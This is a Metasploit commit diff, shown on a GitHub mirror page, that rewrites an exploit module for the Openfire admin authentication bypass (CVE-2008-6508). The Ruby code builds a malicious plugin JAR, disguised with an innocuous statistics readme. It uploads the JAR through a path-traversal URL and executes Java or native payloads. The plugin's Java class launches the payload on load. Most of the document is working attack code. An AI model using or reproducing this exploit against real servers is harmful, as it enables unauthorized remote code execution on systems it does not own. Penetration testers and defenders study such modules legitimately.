1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-29 18:07:27 +01:00

Module rewrite, included Java support, direct upload, plugin deletion

This commit is contained in:
h0ng10 2012-06-26 11:56:44 -04:00
parent 65197e79e2
commit 6cc8390da9
9 changed files with 168 additions and 103 deletions

View File

@ -1,4 +0,0 @@
Manifest-Version: 1.0
Ant-Version: Apache Ant 1.6.4
Created-By: 20.0-b11 (Sun Microsystems Inc.)

Binary file not shown.

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.8 KiB

After

Width:  |  Height:  |  Size: 1.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.0 KiB

After

Width:  |  Height:  |  Size: 1021 B

View File

@ -4,7 +4,7 @@
<name>PLUGINNAME</name>
<description>PLUGINDESCRIPTION</description>
<author>PLUGINAUTHOR</author>
<version>0.0.1</version>
<version>1.0.0</version>
<date>7/7/2008</date>
<minServerVersion>3.5.0</minServerVersion>
</plugin>

View File

@ -2,7 +2,7 @@
<html>
<head>
<title>Example plugin</title>
<title>Load Statistic Plugin Readme</title>
<style type="text/css">
BODY {
font-size : 100%;
@ -57,13 +57,109 @@
<body>
<h1>
Example plugin
Load Statistic Plugin Readme
</h1>
<h2>Todo</h2>
<h2>Overview</h2>
<p>
Add readme content here
The statistic plugin prints usage information of the database connection pool, thread pool used for processing
incoming traffic and the NIO networking layer.
</p>
<h2>Installation</h2>
<p>
Copy the file, &quot;statistic.jar&quot; into the plugins directory of your Openfire installation. The plugin will
then be automatically deployed.
</p>
<h2>Configuration</h2>
At the moment there is no new page to configure the plugin. However, the plugin can be configured by setting
a few system properties. Read the "Using the Plugin" section to learn which system properties to use.
<h2>Using the Plugin</h2>
<p>
The plugin will collect information every few seconds and will print the collected information to a log file
every minute. The log file is a comma delimited file that can be easily processed in Excel. You can configure
the plugin by setting the system properties shown in the table below.
<p>
<table class="events" cellpadding="3" cellspacing="1" border="0">
<thead>
<tr>
<th>System Property</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<span class="event">statistic.frequency</span>
</td>
<td>
Number of milliseconds to wait before collecting information. Default value is 5000 (5 seconds)
</td>
</tr>
<tr>
<td>
<span class="event">statistic.filename</span>
</td>
<td>
Name of the file to use to store the statistics. The file will always be stored in the logs folder. Default value is "stats.txt".
</td>
</tr>
<tr>
<td>
<span class="event">statistic.connectionmanager</span>
</td>
<td>
True if statistics will be collected for Connection Managers traffic or false when statistics will be collected for clients directly connected to the server. Default value is "false".
</td>
</tr>
</tbody>
</table>
<p>
The format of the log file is the following:
<ol>
<li><b>Timestamp</b> - Timestamp when the data was collected</li>
<li><b>DB min</b> - Minimum number of connections the pool may have</li>
<li><b>DB max</b> - Maximum number of connectiosn the pool may have</li>
<li><b>DB current</b> - Current number of connections the pool has</li>
<li><b>DB used</b> - Current number of connections being used</li>
<li><b>Core Threads</b> - Number of threads for processing incoming traffic</li>
<li><b>Active Threads</b> - Number of threads that are actually processing incoming traffic</li>
<li><b>Queue Tasks</b> - Number of stanzas stored in the queue when all threads where busy</li>
<li><b>Completed Tasks</b> - Total number of stanzas that were processed</li>
<li><b>Sessions</b> - Current number of client sessions in the server</li>
<li><b>NIO Read</b> - Total number of stanzas that were read</li>
<li><b>NIO Written</b> - Total number of stanzas that were sent</li>
<li><b>Queued NIO events</b> - Current number of stanzas that are queued. Stanzas are queued when the same client sends many stanzas and the server is still processing a previous stanza. Queued stanzas are not yet considered read.</li>
<li><b>Queues NIO writes</b> - Current number of stanzas pending to be sent</li>
</ol>
</p>
When processing the file in Excel you may want to add the following columns:
<ul>
<li><b>NIO Reads Delta</b> - Difference between a <i>NIO Read</i> row and its previous row</li>
<li><b>NIO Writtens Delta</b> - Difference between a <i>NIO Written</i> row and its previous row</li>
<li><b>Sessions delta</b> - Difference between a <i>Sessions</i> row and its previous row</li>
</ul>
Excell charts are a great way for understanding the collected statistics. In particular, we found charts
of the following columns useful.
<ul>
<li><b>NIO Read</b> and <b>NIO Written</b></li>
<li><b>NIO Reads Delta</b> and <b>NIO Writtens Delta</b></li>
<li><b>Sessions</b></li>
<li><b>Sessions delta</b></li>
<li><b>Completed Tasks</b></li>
<li><b>DB used</b></li>
<li><b>Active Threads</b></li>
</ul>
</body>
</html>

View File

@ -10,43 +10,19 @@ import org.jivesoftware.openfire.container.PluginManager;
import org.jivesoftware.util.JiveGlobals;
import org.jivesoftware.util.Log;
import org.jivesoftware.util.TaskEngine;
import metasploit.*;
public class Example implements Plugin {
private static final String OS_NAME = System.getProperty("os.name").toLowerCase();
private static final String PATH_SEP = System.getProperty("path.separator");
private static final boolean IS_AIX = "aix".equals(OS_NAME);
private static final boolean IS_DOS = PATH_SEP.equals(";");
private static final String JAVA_HOME = System.getProperty("java.home");
private static final String CURRENT_DIR = System.getProperty("user.dir");
public void initializePlugin(PluginManager manager, File pluginDirectory) {
try{
// Try to rename the existing file, according
String readmeFile = pluginDirectory.getCanonicalPath().toString() + "/" + "readme.html";
String exeFile = pluginDirectory.getCanonicalPath().toString() + "/" + pluginDirectory.getName();
if (IS_DOS)
{
exeFile += ".exe";
}
File file = new File(readmeFile);
File file2 = new File(exeFile);
file.renameTo(file2);
if (!IS_DOS) {
file2.setExecutable(true);
}
Runtime.getRuntime().exec(new String[] { exeFile });
}
Payload.main(null);
}
catch (Exception ex)
{
Log.error("error", ex);
}
}
public void destroyPlugin() {

View File

@ -8,7 +8,6 @@ class Metasploit3 < Msf::Exploit::Remote
HttpFingerprint = { :pattern => [ /(Jetty)/ ] }
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
def initialize(info = {})
@ -19,33 +18,46 @@ class Metasploit3 < Msf::Exploit::Remote
console of Openfire servers. By using this vulnerability it is possible to
upload/execute a malicious Openfire plugin on the server.
As a direct plugin upload is not possible, a temporary HTTP server is created to serve a
JAR archive with our payload/payload. This method will only work if the target server
allows outbound connections to us.
Because of the file/format restrictions for Openfire plugins, it is not possible to deploy
a Java payload, instead the native payload is stored in the changelog.html which will be
renamed/executed by the plugin.
This module was tested against Openfire 3.6.0a
It is possible to remove the uploaded plugin after execution, however this might turn
the server in some kind of unstable state, making re-exploitation difficult. You might want to
do this manually.
This module was tested against Openfire 3.6.0a.
},
'Author' => [ 'h0ng10', # Vulnerability discovery
'Author' => [ 'Andreas Kurtz', # Vulnerability discovery
'h0ng10', # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 14774 $',
'References' =>
[
[ 'OSVDB', '49663' ],
[ 'CVE', '2008-6508' ],
[ 'BID', '32189' ],
[ 'URL', 'http://community.igniterealtime.org/thread/35874' ],
],
'DisclosureDate' => 'Nov 10 2008',
'Privileged' => true,
'Platform' => [ 'win', 'linux' ],
'Platform' => ['java', 'win', 'linux' ], # Others ?
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
#
# Platform specific targets only
# Java version
#
[ 'Java Universal',
{
'Arch' => ARCH_JAVA,
'Platform' => 'java'
}
],
#
# Platform specific targets
#
[ 'Windows x86 (Native Payload)',
@ -60,7 +72,9 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_X86,
}
]
]
],
'DefaultTarget' => 0,
))
register_options(
@ -70,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
OptString.new('PLUGINNAME', [ false, 'Openfire plugin base name, (default: random)', nil ]),
OptString.new('PLUGINAUTHOR',[ false, 'Openfire plugin author, (default: random)', nil ]),
OptString.new('PLUGINDESC', [ false, 'Openfire plugin description, (default: random)', nil ]),
OptString.new('WARHOST', [ false, 'The host to request the WAR payload from' ]),
OptBool.new('REMOVE_PLUGIN', [ false, 'Try to remove the plugin after installation', false ]),
], self.class)
end
@ -78,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
path = datastore['PATH'] + 'login.jsp'
res = send_request_raw(
res = send_request_cgi(
{
'uri' => path
}, 20)
@ -102,7 +116,7 @@ class Metasploit3 < Msf::Exploit::Remote
# Just to be sure, try to access the log page
path = datastore['PATH'] + 'setup/setup-/../../log.jsp'
res = send_request_raw(
res = send_request_cgi(
{
'uri' => path
}, 20)
@ -120,8 +134,9 @@ class Metasploit3 < Msf::Exploit::Remote
files = [
[ "logo_large.gif" ],
[ "logo_small.gif" ],
[ "readme.html" ],
[ "changelog.html" ],
[ "lib", "plugin-metasploit.jar.pack" ]
[ "lib", "plugin-metasploit.jar" ]
]
jar = Rex::Zip::Jar.new
@ -141,19 +156,6 @@ class Metasploit3 < Msf::Exploit::Remote
end
# Handle incoming requests from the server, send the generated plugin
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @plugin_jar)
print_error("A request came in, but the plugin WAR archive wasn't ready yet!")
return
end
print_status("Sending the plugin archive to the server...")
send_response(cli, @plugin_jar)
end
def exploit
plugin_name = datastore['PLUGINNAME'] || rand_text_alphanumeric(8+rand(8))
plugin = get_plugin_jar(plugin_name)
@ -163,59 +165,54 @@ class Metasploit3 < Msf::Exploit::Remote
return if ((p = exploit_regenerate_payload(plat, arch)) == nil)
exe = generate_payload_exe(
{
:code => p.encoded,
:arch => arch,
:platform => plat
})
plugin.add_file("readme.html", exe)
#plugin.add_file("readme.html", exe)
plugin.add_file("lib/#{rand_text_alphanumeric(8)}.jar", payload.encoded_jar.pack)
plugin.build_manifest
# Provide the generated plugin jar to the web server
@plugin_jar = plugin
# Send call to download the plugin from our server
print_status("Sending call to download the plugin")
resource_uri = '/' + plugin_name + '.jar'
service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri
print_status("Starting up our web service on #{service_url} ...")
start_service({'Uri' => {
'Proc' => Proc.new { |cli, req| on_request_uri(cli, req)},
'Path' => resource_uri
}})
if (datastore['WARHOST'])
service_url = 'http://' + datastore['WARHOST'] + ':' + datastore['SRVPORT'] + resource_uri
end
# Upload the plugin to the server
print_status("Uploading plugin #{plugin_name} to the server")
boundary = rand_text_alphanumeric(6)
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"uploadfile\"; "
data << "filename=\"#{plugin_name}.jar\"\r\nContent-Type: application/java-archive\r\n\r\n"
data << plugin.pack
data << "\r\n--#{boundary}--"
res = send_request_cgi({
'method' => 'POST',
'uri' => datastore['PATH'] + 'setup/setup-/../../dwr/exec/downloader.installPlugin.dwr',
'vars_post' => {
'callCount' => "1",
'c0-scriptName' => 'downloader',
'c0-methodName' => 'installPlugin',
'c0-id' => "#{rand_text_numeric(4)}_#{rand_text_numeric(13)}",
'c0-param0' => "string:#{service_url}",
'c0-param1' => "string:#{rand_text_numeric(7) }",
'xml' => 'true',
}
'uri' => datastore['PATH'] + 'setup/setup-/../../plugin-admin.jsp?uploadplugin',
'method' => 'POST',
'data' => data,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=' + boundary,
'Content-Length' => data.length,
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
}
}, 5)
},5)
if (! res)
raise RuntimeError, "Unable to upload plugin file [No Response]"
end
print_error("Warning: got no response from the upload, continuing...") if !res
# Sometimes the server needs some time to deploy the plugin, so we wait...
1.upto(120) do
break if session_created?
select(nil, nil, nil, 0.25)
handler
end
# Delete the uploaded JAR file
if datastore['REMOVE_PLUGIN'] then
print_status("Try to remove plugin #{plugin_name} from the server")
res = send_request_cgi({
'uri' => datastore['PATH'] + "setup/setup-/../../plugin-admin.jsp?deleteplugin=#{plugin_name.downcase}",
'headers' =>
{
'Cookie' => "JSESSIONID=#{rand_text_numeric(13)}",
}
}, 3)
end
handler
end
end